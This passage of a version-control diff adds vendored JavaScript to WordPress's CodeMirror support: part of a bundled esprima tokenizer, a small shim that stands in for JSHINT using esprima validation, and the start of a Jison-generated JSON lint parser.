+	            lineNumber: this.lineNumber,
+	            lineStart: this.lineStart,
+	            start: start,
+	            end: this.index
+	        };
+	    };
+	    // https://tc39.github.io/ecma262/#sec-literals-regular-expression-literals
+	    Scanner.prototype.testRegExp = function (pattern, flags) {
+	        // The BMP character to use as a replacement for astral symbols when
+	        // translating an ES6 "u"-flagged pattern to an ES5-compatible
+	        // approximation.
+	        // Note: replacing with '\uFFFF' enables false positives in unlikely
+	        // scenarios. For example, `[\u{1044f}-\u{10440}]` is an invalid
+	        // pattern that would not be detected by this substitution.
+	        var astralSubstitute = '\uFFFF';
+	        var tmp = pattern;
+	        var self = this;
+	        if (flags.indexOf('u') >= 0) {
+	            tmp = tmp
+	                .replace(/\\u\{([0-9a-fA-F]+)\}|\\u([a-fA-F0-9]{4})/g, function ($0, $1, $2) {
+	                var codePoint = parseInt($1 || $2, 16);
+	                if (codePoint > 0x10FFFF) {
+	                    self.throwUnexpectedToken(messages_1.Messages.InvalidRegExp);
+	                }
+	                if (codePoint <= 0xFFFF) {
+	                    return String.fromCharCode(codePoint);
+	                }
+	                return astralSubstitute;
+	            })
+	                .replace(/[\uD800-\uDBFF][\uDC00-\uDFFF]/g, astralSubstitute);
+	        }
+	        // First, detect invalid regular expressions.
+	        try {
+	            RegExp(tmp);
+	        }
+	        catch (e) {
+	            this.throwUnexpectedToken(messages_1.Messages.InvalidRegExp);
+	        }
+	        // Return a regular expression object for this pattern-flag pair, or
+	        // `null` in case the current environment doesn't support the flags it
+	        // uses.
+	        try {
+	            return new RegExp(pattern, flags);
+	        }
+	        catch (exception) {
+	            /* istanbul ignore next */
+	            return null;
+	        }
+	    };
+	    Scanner.prototype.scanRegExpBody = function () {
+	        var ch = this.source[this.index];
+	        assert_1.assert(ch === '/', 'Regular expression literal must start with a slash');
+	        var str = this.source[this.index++];
+	        var classMarker = false;
+	        var terminated = false;
+	        while (!this.eof()) {
+	            ch = this.source[this.index++];
+	            str += ch;
+	            if (ch === '\\') {
+	                ch = this.source[this.index++];
+	                // https://tc39.github.io/ecma262/#sec-literals-regular-expression-literals
+	                if (character_1.Character.isLineTerminator(ch.charCodeAt(0))) {
+	                    this.throwUnexpectedToken(messages_1.Messages.UnterminatedRegExp);
+	                }
+	                str += ch;
+	            }
+	            else if (character_1.Character.isLineTerminator(ch.charCodeAt(0))) {
+	                this.throwUnexpectedToken(messages_1.Messages.UnterminatedRegExp);
+	            }
+	            else if (classMarker) {
+	                if (ch === ']') {
+	                    classMarker = false;
+	                }
+	            }
+	            else {
+	                if (ch === '/') {
+	                    terminated = true;
+	                    break;
+	                }
+	                else if (ch === '[') {
+	                    classMarker = true;
+	                }
+	            }
+	        }
+	        if (!terminated) {
+	            this.throwUnexpectedToken(messages_1.Messages.UnterminatedRegExp);
+	        }
+	        // Exclude leading and trailing slash.
+	        return str.substr(1, str.length - 2);
+	    };
+	    Scanner.prototype.scanRegExpFlags = function () {
+	        var str = '';
+	        var flags = '';
+	        while (!this.eof()) {
+	            var ch = this.source[this.index];
+	            if (!character_1.Character.isIdentifierPart(ch.charCodeAt(0))) {
+	                break;
+	            }
+	            ++this.index;
+	            if (ch === '\\' && !this.eof()) {
+	                ch = this.source[this.index];
+	                if (ch === 'u') {
+	                    ++this.index;
+	                    var restore = this.index;
+	                    var char = this.scanHexEscape('u');
+	                    if (char !== null) {
+	                        flags += char;
+	                        for (str += '\\u'; restore < this.index; ++restore) {
+	                            str += this.source[restore];
+	                        }
+	                    }
+	                    else {
+	                        this.index = restore;
+	                        flags += 'u';
+	                        str += '\\u';
+	                    }
+	                    this.tolerateUnexpectedToken();
+	                }
+	                else {
+	                    str += '\\';
+	                    this.tolerateUnexpectedToken();
+	                }
+	            }
+	            else {
+	                flags += ch;
+	                str += ch;
+	            }
+	        }
+	        return flags;
+	    };
+	    Scanner.prototype.scanRegExp = function () {
+	        var start = this.index;
+	        var pattern = this.scanRegExpBody();
+	        var flags = this.scanRegExpFlags();
+	        var value = this.testRegExp(pattern, flags);
+	        return {
+	            type: 9 /* RegularExpression */,
+	            value: '',
+	            pattern: pattern,
+	            flags: flags,
+	            regex: value,
+	            lineNumber: this.lineNumber,
+	            lineStart: this.lineStart,
+	            start: start,
+	            end: this.index
+	        };
+	    };
+	    Scanner.prototype.lex = function () {
+	        if (this.eof()) {
+	            return {
+	                type: 2 /* EOF */,
+	                value: '',
+	                lineNumber: this.lineNumber,
+	                lineStart: this.lineStart,
+	                start: this.index,
+	                end: this.index
+	            };
+	        }
+	        var cp = this.source.charCodeAt(this.index);
+	        if (character_1.Character.isIdentifierStart(cp)) {
+	            return this.scanIdentifier();
+	        }
+	        // Very common: ( and ) and ;
+	        if (cp === 0x28 || cp === 0x29 || cp === 0x3B) {
+	            return this.scanPunctuator();
+	        }
+	        // String literal starts with single quote (U+0027) or double quote (U+0022).
+	        if (cp === 0x27 || cp === 0x22) {
+	            return this.scanStringLiteral();
+	        }
+	        // Dot (.) U+002E can also start a floating-point number, hence the need
+	        // to check the next character.
+	        if (cp === 0x2E) {
+	            if (character_1.Character.isDecimalDigit(this.source.charCodeAt(this.index + 1))) {
+	                return this.scanNumericLiteral();
+	            }
+	            return this.scanPunctuator();
+	        }
+	        if (character_1.Character.isDecimalDigit(cp)) {
+	            return this.scanNumericLiteral();
+	        }
+	        // Template literals start with ` (U+0060) for template head
+	        // or } (U+007D) for template middle or template tail.
+	        if (cp === 0x60 || (cp === 0x7D && this.curlyStack[this.curlyStack.length - 1] === '${')) {
+	            return this.scanTemplate();
+	        }
+	        // Possible identifier start in a surrogate pair.
+	        if (cp >= 0xD800 && cp < 0xDFFF) {
+	            if (character_1.Character.isIdentifierStart(this.codePointAt(this.index))) {
+	                return this.scanIdentifier();
+	            }
+	        }
+	        return this.scanPunctuator();
+	    };
+	    return Scanner;
+	}());
+	exports.Scanner = Scanner;
+
+
+/***/ },
+/* 13 */
+/***/ function(module, exports) {
+
+	"use strict";
+	Object.defineProperty(exports, "__esModule", { value: true });
+	exports.TokenName = {};
+	exports.TokenName[1 /* BooleanLiteral */] = 'Boolean';
+	exports.TokenName[2 /* EOF */] = '<end>';
+	exports.TokenName[3 /* Identifier */] = 'Identifier';
+	exports.TokenName[4 /* Keyword */] = 'Keyword';
+	exports.TokenName[5 /* NullLiteral */] = 'Null';
+	exports.TokenName[6 /* NumericLiteral */] = 'Numeric';
+	exports.TokenName[7 /* Punctuator */] = 'Punctuator';
+	exports.TokenName[8 /* StringLiteral */] = 'String';
+	exports.TokenName[9 /* RegularExpression */] = 'RegularExpression';
+	exports.TokenName[10 /* Template */] = 'Template';
+
+
+/***/ },
+/* 14 */
+/***/ function(module, exports) {
+
+	"use strict";
+	// Generated by generate-xhtml-entities.js. DO NOT MODIFY!
+	Object.defineProperty(exports, "__esModule", { value: true });
+	exports.XHTMLEntities = {
+	    quot: '\u0022',
+	    amp: '\u0026',
+	    apos: '\u0027',
+	    gt: '\u003E',
+	    nbsp: '\u00A0',
+	    iexcl: '\u00A1',
+	    cent: '\u00A2',
+	    pound: '\u00A3',
+	    curren: '\u00A4',
+	    yen: '\u00A5',
+	    brvbar: '\u00A6',
+	    sect: '\u00A7',
+	    uml: '\u00A8',
+	    copy: '\u00A9',
+	    ordf: '\u00AA',
+	    laquo: '\u00AB',
+	    not: '\u00AC',
+	    shy: '\u00AD',
+	    reg: '\u00AE',
+	    macr: '\u00AF',
+	    deg: '\u00B0',
+	    plusmn: '\u00B1',
+	    sup2: '\u00B2',
+	    sup3: '\u00B3',
+	    acute: '\u00B4',
+	    micro: '\u00B5',
+	    para: '\u00B6',
+	    middot: '\u00B7',
+	    cedil: '\u00B8',
+	    sup1: '\u00B9',
+	    ordm: '\u00BA',
+	    raquo: '\u00BB',
+	    frac14: '\u00BC',
+	    frac12: '\u00BD',
+	    frac34: '\u00BE',
+	    iquest: '\u00BF',
+	    Agrave: '\u00C0',
+	    Aacute: '\u00C1',
+	    Acirc: '\u00C2',
+	    Atilde: '\u00C3',
+	    Auml: '\u00C4',
+	    Aring: '\u00C5',
+	    AElig: '\u00C6',
+	    Ccedil: '\u00C7',
+	    Egrave: '\u00C8',
+	    Eacute: '\u00C9',
+	    Ecirc: '\u00CA',
+	    Euml: '\u00CB',
+	    Igrave: '\u00CC',
+	    Iacute: '\u00CD',
+	    Icirc: '\u00CE',
+	    Iuml: '\u00CF',
+	    ETH: '\u00D0',
+	    Ntilde: '\u00D1',
+	    Ograve: '\u00D2',
+	    Oacute: '\u00D3',
+	    Ocirc: '\u00D4',
+	    Otilde: '\u00D5',
+	    Ouml: '\u00D6',
+	    times: '\u00D7',
+	    Oslash: '\u00D8',
+	    Ugrave: '\u00D9',
+	    Uacute: '\u00DA',
+	    Ucirc: '\u00DB',
+	    Uuml: '\u00DC',
+	    Yacute: '\u00DD',
+	    THORN: '\u00DE',
+	    szlig: '\u00DF',
+	    agrave: '\u00E0',
+	    aacute: '\u00E1',
+	    acirc: '\u00E2',
+	    atilde: '\u00E3',
+	    auml: '\u00E4',
+	    aring: '\u00E5',
+	    aelig: '\u00E6',
+	    ccedil: '\u00E7',
+	    egrave: '\u00E8',
+	    eacute: '\u00E9',
+	    ecirc: '\u00EA',
+	    euml: '\u00EB',
+	    igrave: '\u00EC',
+	    iacute: '\u00ED',
+	    icirc: '\u00EE',
+	    iuml: '\u00EF',
+	    eth: '\u00F0',
+	    ntilde: '\u00F1',
+	    ograve: '\u00F2',
+	    oacute: '\u00F3',
+	    ocirc: '\u00F4',
+	    otilde: '\u00F5',
+	    ouml: '\u00F6',
+	    divide: '\u00F7',
+	    oslash: '\u00F8',
+	    ugrave: '\u00F9',
+	    uacute: '\u00FA',
+	    ucirc: '\u00FB',
+	    uuml: '\u00FC',
+	    yacute: '\u00FD',
+	    thorn: '\u00FE',
+	    yuml: '\u00FF',
+	    OElig: '\u0152',
+	    oelig: '\u0153',
+	    Scaron: '\u0160',
+	    scaron: '\u0161',
+	    Yuml: '\u0178',
+	    fnof: '\u0192',
+	    circ: '\u02C6',
+	    tilde: '\u02DC',
+	    Alpha: '\u0391',
+	    Beta: '\u0392',
+	    Gamma: '\u0393',
+	    Delta: '\u0394',
+	    Epsilon: '\u0395',
+	    Zeta: '\u0396',
+	    Eta: '\u0397',
+	    Theta: '\u0398',
+	    Iota: '\u0399',
+	    Kappa: '\u039A',
+	    Lambda: '\u039B',
+	    Mu: '\u039C',
+	    Nu: '\u039D',
+	    Xi: '\u039E',
+	    Omicron: '\u039F',
+	    Pi: '\u03A0',
+	    Rho: '\u03A1',
+	    Sigma: '\u03A3',
+	    Tau: '\u03A4',
+	    Upsilon: '\u03A5',
+	    Phi: '\u03A6',
+	    Chi: '\u03A7',
+	    Psi: '\u03A8',
+	    Omega: '\u03A9',
+	    alpha: '\u03B1',
+	    beta: '\u03B2',
+	    gamma: '\u03B3',
+	    delta: '\u03B4',
+	    epsilon: '\u03B5',
+	    zeta: '\u03B6',
+	    eta: '\u03B7',
+	    theta: '\u03B8',
+	    iota: '\u03B9',
+	    kappa: '\u03BA',
+	    lambda: '\u03BB',
+	    mu: '\u03BC',
+	    nu: '\u03BD',
+	    xi: '\u03BE',
+	    omicron: '\u03BF',
+	    pi: '\u03C0',
+	    rho: '\u03C1',
+	    sigmaf: '\u03C2',
+	    sigma: '\u03C3',
+	    tau: '\u03C4',
+	    upsilon: '\u03C5',
+	    phi: '\u03C6',
+	    chi: '\u03C7',
+	    psi: '\u03C8',
+	    omega: '\u03C9',
+	    thetasym: '\u03D1',
+	    upsih: '\u03D2',
+	    piv: '\u03D6',
+	    ensp: '\u2002',
+	    emsp: '\u2003',
+	    thinsp: '\u2009',
+	    zwnj: '\u200C',
+	    zwj: '\u200D',
+	    lrm: '\u200E',
+	    rlm: '\u200F',
+	    ndash: '\u2013',
+	    mdash: '\u2014',
+	    lsquo: '\u2018',
+	    rsquo: '\u2019',
+	    sbquo: '\u201A',
+	    ldquo: '\u201C',
+	    rdquo: '\u201D',
+	    bdquo: '\u201E',
+	    dagger: '\u2020',
+	    Dagger: '\u2021',
+	    bull: '\u2022',
+	    hellip: '\u2026',
+	    permil: '\u2030',
+	    prime: '\u2032',
+	    Prime: '\u2033',
+	    lsaquo: '\u2039',
+	    rsaquo: '\u203A',
+	    oline: '\u203E',
+	    frasl: '\u2044',
+	    euro: '\u20AC',
+	    image: '\u2111',
+	    weierp: '\u2118',
+	    real: '\u211C',
+	    trade: '\u2122',
+	    alefsym: '\u2135',
+	    larr: '\u2190',
+	    uarr: '\u2191',
+	    rarr: '\u2192',
+	    darr: '\u2193',
+	    harr: '\u2194',
+	    crarr: '\u21B5',
+	    lArr: '\u21D0',
+	    uArr: '\u21D1',
+	    rArr: '\u21D2',
+	    dArr: '\u21D3',
+	    hArr: '\u21D4',
+	    forall: '\u2200',
+	    part: '\u2202',
+	    exist: '\u2203',
+	    empty: '\u2205',
+	    nabla: '\u2207',
+	    isin: '\u2208',
+	    notin: '\u2209',
+	    ni: '\u220B',
+	    prod: '\u220F',
+	    sum: '\u2211',
+	    minus: '\u2212',
+	    lowast: '\u2217',
+	    radic: '\u221A',
+	    prop: '\u221D',
+	    infin: '\u221E',
+	    ang: '\u2220',
+	    and: '\u2227',
+	    or: '\u2228',
+	    cap: '\u2229',
+	    cup: '\u222A',
+	    int: '\u222B',
+	    there4: '\u2234',
+	    sim: '\u223C',
+	    cong: '\u2245',
+	    asymp: '\u2248',
+	    ne: '\u2260',
+	    equiv: '\u2261',
+	    le: '\u2264',
+	    ge: '\u2265',
+	    sub: '\u2282',
+	    sup: '\u2283',
+	    nsub: '\u2284',
+	    sube: '\u2286',
+	    supe: '\u2287',
+	    oplus: '\u2295',
+	    otimes: '\u2297',
+	    perp: '\u22A5',
+	    sdot: '\u22C5',
+	    lceil: '\u2308',
+	    rceil: '\u2309',
+	    lfloor: '\u230A',
+	    rfloor: '\u230B',
+	    loz: '\u25CA',
+	    spades: '\u2660',
+	    clubs: '\u2663',
+	    hearts: '\u2665',
+	    diams: '\u2666',
+	    lang: '\u27E8',
+	    rang: '\u27E9'
+	};
+
+
+/***/ },
+/* 15 */
+/***/ function(module, exports, __webpack_require__) {
+
+	"use strict";
+	Object.defineProperty(exports, "__esModule", { value: true });
+	var error_handler_1 = __webpack_require__(10);
+	var scanner_1 = __webpack_require__(12);
+	var token_1 = __webpack_require__(13);
+	var Reader = (function () {
+	    function Reader() {
+	        this.values = [];
+	        this.curly = this.paren = -1;
+	    }
+	    // A function following one of those tokens is an expression.
+	    Reader.prototype.beforeFunctionExpression = function (t) {
+	        return ['(', '{', '[', 'in', 'typeof', 'instanceof', 'new',
+	            'return', 'case', 'delete', 'throw', 'void',
+	            // assignment operators
+	            '=', '+=', '-=', '*=', '**=', '/=', '%=', '<<=', '>>=', '>>>=',
+	            '&=', '|=', '^=', ',',
+	            // binary/unary operators
+	            '+', '-', '*', '**', '/', '%', '++', '--', '<<', '>>', '>>>', '&',
+	            '|', '^', '!', '~', '&&', '||', '?', ':', '===', '==', '>=',
+	            '<=', '<', '>', '!=', '!=='].indexOf(t) >= 0;
+	    };
+	    // Determine if forward slash (/) is an operator or part of a regular expression
+	    // https://github.com/mozilla/sweet.js/wiki/design
+	    Reader.prototype.isRegexStart = function () {
+	        var previous = this.values[this.values.length - 1];
+	        var regex = (previous !== null);
+	        switch (previous) {
+	            case 'this':
+	            case ']':
+	                regex = false;
+	                break;
+	            case ')':
+	                var keyword = this.values[this.paren - 1];
+	                regex = (keyword === 'if' || keyword === 'while' || keyword === 'for' || keyword === 'with');
+	                break;
+	            case '}':
+	                // Dividing a function by anything makes little sense,
+	                // but we have to check for that.
+	                regex = false;
+	                if (this.values[this.curly - 3] === 'function') {
+	                    // Anonymous function, e.g. function(){} /42
+	                    var check = this.values[this.curly - 4];
+	                    regex = check ? !this.beforeFunctionExpression(check) : false;
+	                }
+	                else if (this.values[this.curly - 4] === 'function') {
+	                    // Named function, e.g. function f(){} /42/
+	                    var check = this.values[this.curly - 5];
+	                    regex = check ? !this.beforeFunctionExpression(check) : true;
+	                }
+	                break;
+	            default:
+	                break;
+	        }
+	        return regex;
+	    };
+	    Reader.prototype.push = function (token) {
+	        if (token.type === 7 /* Punctuator */ || token.type === 4 /* Keyword */) {
+	            if (token.value === '{') {
+	                this.curly = this.values.length;
+	            }
+	            else if (token.value === '(') {
+	                this.paren = this.values.length;
+	            }
+	            this.values.push(token.value);
+	        }
+	        else {
+	            this.values.push(null);
+	        }
+	    };
+	    return Reader;
+	}());
+	var Tokenizer = (function () {
+	    function Tokenizer(code, config) {
+	        this.errorHandler = new error_handler_1.ErrorHandler();
+	        this.errorHandler.tolerant = config ? (typeof config.tolerant === 'boolean' && config.tolerant) : false;
+	        this.scanner = new scanner_1.Scanner(code, this.errorHandler);
+	        this.scanner.trackComment = config ? (typeof config.comment === 'boolean' && config.comment) : false;
+	        this.trackRange = config ? (typeof config.range === 'boolean' && config.range) : false;
+	        this.trackLoc = config ? (typeof config.loc === 'boolean' && config.loc) : false;
+	        this.buffer = [];
+	        this.reader = new Reader();
+	    }
+	    Tokenizer.prototype.errors = function () {
+	        return this.errorHandler.errors;
+	    };
+	    Tokenizer.prototype.getNextToken = function () {
+	        if (this.buffer.length === 0) {
+	            var comments = this.scanner.scanComments();
+	            if (this.scanner.trackComment) {
+	                for (var i = 0; i < comments.length; ++i) {
+	                    var e = comments[i];
+	                    var value = this.scanner.source.slice(e.slice[0], e.slice[1]);
+	                    var comment = {
+	                        type: e.multiLine ? 'BlockComment' : 'LineComment',
+	                        value: value
+	                    };
+	                    if (this.trackRange) {
+	                        comment.range = e.range;
+	                    }
+	                    if (this.trackLoc) {
+	                        comment.loc = e.loc;
+	                    }
+	                    this.buffer.push(comment);
+	                }
+	            }
+	            if (!this.scanner.eof()) {
+	                var loc = void 0;
+	                if (this.trackLoc) {
+	                    loc = {
+	                        start: {
+	                            line: this.scanner.lineNumber,
+	                            column: this.scanner.index - this.scanner.lineStart
+	                        },
+	                        end: {}
+	                    };
+	                }
+	                var startRegex = (this.scanner.source[this.scanner.index] === '/') && this.reader.isRegexStart();
+	                var token = startRegex ? this.scanner.scanRegExp() : this.scanner.lex();
+	                this.reader.push(token);
+	                var entry = {
+	                    type: token_1.TokenName[token.type],
+	                    value: this.scanner.source.slice(token.start, token.end)
+	                };
+	                if (this.trackRange) {
+	                    entry.range = [token.start, token.end];
+	                }
+	                if (this.trackLoc) {
+	                    loc.end = {
+	                        line: this.scanner.lineNumber,
+	                        column: this.scanner.index - this.scanner.lineStart
+	                    };
+	                    entry.loc = loc;
+	                }
+	                if (token.type === 9 /* RegularExpression */) {
+	                    var pattern = token.pattern;
+	                    var flags = token.flags;
+	                    entry.regex = { pattern: pattern, flags: flags };
+	                }
+	                this.buffer.push(entry);
+	            }
+	        }
+	        return this.buffer.shift();
+	    };
+	    return Tokenizer;
+	}());
+	exports.Tokenizer = Tokenizer;
+
+
+/***/ }
+/******/ ])
+});
+;
+
+// JSHINT has some GPL Compatability issues, so we are faking it out and using esprima for validation
+// Based on https://github.com/jquery/esprima/blob/gh-pages/demo/validate.js which is MIT licensed
+
+var fakeJSHINT = new function() {
+	var syntax, errors;
+	var that = this;
+	this.data = [];
+	this.convertError = function( error ){
+		return {
+			line: error.lineNumber,
+			character: error.column,
+			reason: error.description,
+			code: 'E'
+		};
+	};
+	this.parse = function( code ){
+		try {
+			syntax = window.esprima.parse(code, { tolerant: true, loc: true });
+			errors = syntax.errors;
+			if ( errors.length > 0 ) {
+				for ( var i = 0; i < errors.length; i++) {
+					var error = errors[i];
+					that.data.push( that.convertError( error ) );
+				}
+			} else {
+				that.data = [];
+			}
+		} catch (e) {
+			that.data.push( that.convertError( e ) );
+		}
+	};
+};
+
+window.JSHINT = function( text ){
+	fakeJSHINT.parse( text );
+};
+window.JSHINT.data = function(){
+	return {
+		errors: fakeJSHINT.data
+	};
+};
+
+
Index: /tags/5.0.20/src/wp-includes/js/codemirror/jsonlint.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/codemirror/jsonlint.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/codemirror/jsonlint.js	(revision 56912)
@@ -0,0 +1,432 @@
+/* Jison generated parser */
+var jsonlint = (function(){
+var parser = {trace: function trace() { },
+yy: {},
+symbols_: {"error":2,"JSONString":3,"STRING":4,"JSONNumber":5,"NUMBER":6,"JSONNullLiteral":7,"NULL":8,"JSONBooleanLiteral":9,"TRUE":10,"FALSE":11,"JSONText":12,"JSONValue":13,"EOF":14,"JSONObject":15,"JSONArray":16,"{":17,"}":18,"JSONMemberList":19,"JSONMember":20,":":21,",":22,"[":23,"]":24,"JSONElementList":25,"$accept":0,"$end":1},
+terminals_: {2:"error",4:"STRING",6:"NUMBER",8:"NULL",10:"TRUE",11:"FALSE",14:"EOF",17:"{",18:"}",21:":",22:",",23:"[",24:"]"},
+productions_: [0,[3,1],[5,1],[7,1],[9,1],[9,1],[12,2],[13,1],[13,1],[13,1],[13,1],[13,1],[13,1],[15,2],[15,3],[20,3],[19,1],[19,3],[16,2],[16,3],[25,1],[25,3]],
+performAction: function anonymous(yytext,yyleng,yylineno,yy,yystate,$$,_$) {
+
+var $0 = $$.length - 1;
+switch (yystate) {
+case 1: // replace escaped characters with actual character
+          this.$ = yytext.replace(/\\(\\|")/g, "$"+"1")
+                     .replace(/\\n/g,'\n')
+                     .replace(/\\r/g,'\r')
+                     .replace(/\\t/g,'\t')
+                     .replace(/\\v/g,'\v')
+                     .replace(/\\f/g,'\f')
+                     .replace(/\\b/g,'\b');
+        
+break;
+case 2:this.$ = Number(yytext);
+break;
+case 3:this.$ = null;
+break;
+case 4:this.$ = true;
+break;
+case 5:this.$ = false;
+break;
+case 6:return this.$ = $$[$0-1];
+break;
+case 13:this.$ = {};
+break;
+case 14:this.$ = $$[$0-1];
+break;
+case 15:this.$ = [$$[$0-2], $$[$0]];
+break;
+case 16:this.$ = {}; this.$[$$[$0][0]] = $$[$0][1];
+break;
+case 17:this.$ = $$[$0-2]; $$[$0-2][$$[$0][0]] = $$[$0][1];
+break;
+case 18:this.$ = [];
+break;
+case 19:this.$ = $$[$0-1];
+break;
+case 20:this.$ = [$$[$0]];
+break;
+case 21:this.$ = $$[$0-2]; $$[$0-2].push($$[$0]);
+break;
+}
+},
+table: [{3:5,4:[1,12],5:6,6:[1,13],7:3,8:[1,9],9:4,10:[1,10],11:[1,11],12:1,13:2,15:7,16:8,17:[1,14],23:[1,15]},{1:[3]},{14:[1,16]},{14:[2,7],18:[2,7],22:[2,7],24:[2,7]},{14:[2,8],18:[2,8],22:[2,8],24:[2,8]},{14:[2,9],18:[2,9],22:[2,9],24:[2,9]},{14:[2,10],18:[2,10],22:[2,10],24:[2,10]},{14:[2,11],18:[2,11],22:[2,11],24:[2,11]},{14:[2,12],18:[2,12],22:[2,12],24:[2,12]},{14:[2,3],18:[2,3],22:[2,3],24:[2,3]},{14:[2,4],18:[2,4],22:[2,4],24:[2,4]},{14:[2,5],18:[2,5],22:[2,5],24:[2,5]},{14:[2,1],18:[2,1],21:[2,1],22:[2,1],24:[2,1]},{14:[2,2],18:[2,2],22:[2,2],24:[2,2]},{3:20,4:[1,12],18:[1,17],19:18,20:19},{3:5,4:[1,12],5:6,6:[1,13],7:3,8:[1,9],9:4,10:[1,10],11:[1,11],13:23,15:7,16:8,17:[1,14],23:[1,15],24:[1,21],25:22},{1:[2,6]},{14:[2,13],18:[2,13],22:[2,13],24:[2,13]},{18:[1,24],22:[1,25]},{18:[2,16],22:[2,16]},{21:[1,26]},{14:[2,18],18:[2,18],22:[2,18],24:[2,18]},{22:[1,28],24:[1,27]},{22:[2,20],24:[2,20]},{14:[2,14],18:[2,14],22:[2,14],24:[2,14]},{3:20,4:[1,12],20:29},{3:5,4:[1,12],5:6,6:[1,13],7:3,8:[1,9],9:4,10:[1,10],11:[1,11],13:30,15:7,16:8,17:[1,14],23:[1,15]},{14:[2,19],18:[2,19],22:[2,19],24:[2,19]},{3:5,4:[1,12],5:6,6:[1,13],7:3,8:[1,9],9:4,10:[1,10],11:[1,11],13:31,15:7,16:8,17:[1,14],23:[1,15]},{18:[2,17],22:[2,17]},{18:[2,15],22:[2,15]},{22:[2,21],24:[2,21]}],
+defaultActions: {16:[2,6]},
+parseError: function parseError(str, hash) {
+    throw new Error(str);
+},
+parse: function parse(input) {
+    var self = this,
+        stack = [0],
+        vstack = [null], // semantic value stack
+        lstack = [], // location stack
+        table = this.table,
+        yytext = '',
+        yylineno = 0,
+        yyleng = 0,
+        recovering = 0,
+        TERROR = 2,
+        EOF = 1;
+
+    //this.reductionCount = this.shiftCount = 0;
+
+    this.lexer.setInput(input);
+    this.lexer.yy = this.yy;
+    this.yy.lexer = this.lexer;
+    if (typeof this.lexer.yylloc == 'undefined')
+        this.lexer.yylloc = {};
+    var yyloc = this.lexer.yylloc;
+    lstack.push(yyloc);
+
+    if (typeof this.yy.parseError === 'function')
+        this.parseError = this.yy.parseError;
+
+    function popStack (n) {
+        stack.length = stack.length - 2*n;
+        vstack.length = vstack.length - n;
+        lstack.length = lstack.length - n;
+    }
+
+    function lex() {
+        var token;
+        token = self.lexer.lex() || 1; // $end = 1
+        // if token isn't its numeric value, convert
+        if (typeof token !== 'number') {
+            token = self.symbols_[token] || token;
+        }
+        return token;
+    }
+
+    var symbol, preErrorSymbol, state, action, a, r, yyval={},p,len,newState, expected;
+    while (true) {
+        // retreive state number from top of stack
+        state = stack[stack.length-1];
+
+        // use default actions if available
+        if (this.defaultActions[state]) {
+            action = this.defaultActions[state];
+        } else {
+            if (symbol == null)
+                symbol = lex();
+            // read action for current state and first input
+            action = table[state] && table[state][symbol];
+        }
+
+        // handle parse error
+        _handle_error:
+        if (typeof action === 'undefined' || !action.length || !action[0]) {
+
+            if (!recovering) {
+                // Report error
+                expected = [];
+                for (p in table[state]) if (this.terminals_[p] && p > 2) {
+                    expected.push("'"+this.terminals_[p]+"'");
+                }
+                var errStr = '';
+                if (this.lexer.showPosition) {
+                    errStr = 'Parse error on line '+(yylineno+1)+":\n"+this.lexer.showPosition()+"\nExpecting "+expected.join(', ') + ", got '" + this.terminals_[symbol]+ "'";
+                } else {
+                    errStr = 'Parse error on line '+(yylineno+1)+": Unexpected " +
+                                  (symbol == 1 /*EOF*/ ? "end of input" :
+                                              ("'"+(this.terminals_[symbol] || symbol)+"'"));
+                }
+                this.parseError(errStr,
+                    {text: this.lexer.match, token: this.terminals_[symbol] || symbol, line: this.lexer.yylineno, loc: yyloc, expected: expected});
+            }
+
+            // just recovered from another error
+            if (recovering == 3) {
+                if (symbol == EOF) {
+                    throw new Error(errStr || 'Parsing halted.');
+                }
+
+                // discard current lookahead and grab another
+                yyleng = this.lexer.yyleng;
+                yytext = this.lexer.yytext;
+                yylineno = this.lexer.yylineno;
+                yyloc = this.lexer.yylloc;
+                symbol = lex();
+            }
+
+            // try to recover from error
+            while (1) {
+                // check for error recovery rule in this state
+                if ((TERROR.toString()) in table[state]) {
+                    break;
+                }
+                if (state == 0) {
+                    throw new Error(errStr || 'Parsing halted.');
+                }
+                popStack(1);
+                state = stack[stack.length-1];
+            }
+
+            preErrorSymbol = symbol; // save the lookahead token
+            symbol = TERROR;         // insert generic error symbol as new lookahead
+            state = stack[stack.length-1];
+            action = table[state] && table[state][TERROR];
+            recovering = 3; // allow 3 real symbols to be shifted before reporting a new error
+        }
+
+        // this shouldn't happen, unless resolve defaults are off
+        if (action[0] instanceof Array && action.length > 1) {
+            throw new Error('Parse Error: multiple actions possible at state: '+state+', token: '+symbol);
+        }
+
+        switch (action[0]) {
+
+            case 1: // shift
+                //this.shiftCount++;
+
+                stack.push(symbol);
+                vstack.push(this.lexer.yytext);
+                lstack.push(this.lexer.yylloc);
+                stack.push(action[1]); // push state
+                symbol = null;
+                if (!preErrorSymbol) { // normal execution/no error
+                    yyleng = this.lexer.yyleng;
+                    yytext = this.lexer.yytext;
+                    yylineno = this.lexer.yylineno;
+                    yyloc = this.lexer.yylloc;
+                    if (recovering > 0)
+                        recovering--;
+                } else { // error just occurred, resume old lookahead f/ before error
+                    symbol = preErrorSymbol;
+                    preErrorSymbol = null;
+                }
+                break;
+
+            case 2: // reduce
+                //this.reductionCount++;
+
+                len = this.productions_[action[1]][1];
+
+                // perform semantic action
+                yyval.$ = vstack[vstack.length-len]; // default to $$ = $1
+                // default location, uses first token for firsts, last for lasts
+                yyval._$ = {
+                    first_line: lstack[lstack.length-(len||1)].first_line,
+                    last_line: lstack[lstack.length-1].last_line,
+                    first_column: lstack[lstack.length-(len||1)].first_column,
+                    last_column: lstack[lstack.length-1].last_column
+                };
+                r = this.performAction.call(yyval, yytext, yyleng, yylineno, this.yy, action[1], vstack, lstack);
+
+                if (typeof r !== 'undefined') {
+                    return r;
+                }
+
+                // pop off stack
+                if (len) {
+                    stack = stack.slice(0,-1*len*2);
+                    vstack = vstack.slice(0, -1*len);
+                    lstack = lstack.slice(0, -1*len);
+                }
+
+                stack.push(this.productions_[action[1]][0]);    // push nonterminal (reduce)
+                vstack.push(yyval.$);
+                lstack.push(yyval._$);
+                // goto new state = table[STATE][NONTERMINAL]
+                newState = table[stack[stack.length-2]][stack[stack.length-1]];
+                stack.push(newState);
+                break;
+
+            case 3: // accept
+                return true;
+        }
+
+    }
+
+    return true;
+}};
+/* Jison generated lexer */
+var lexer = (function(){
+var lexer = ({EOF:1,
+parseError:function parseError(str, hash) {
+        if (this.yy.parseError) {
+            this.yy.parseError(str, hash);
+        } else {
+            throw new Error(str);
+        }
+    },
+setInput:function (input) {
+        this._input = input;
+        this._more = this._less = this.done = false;
+        this.yylineno = this.yyleng = 0;
+        this.yytext = this.matched = this.match = '';
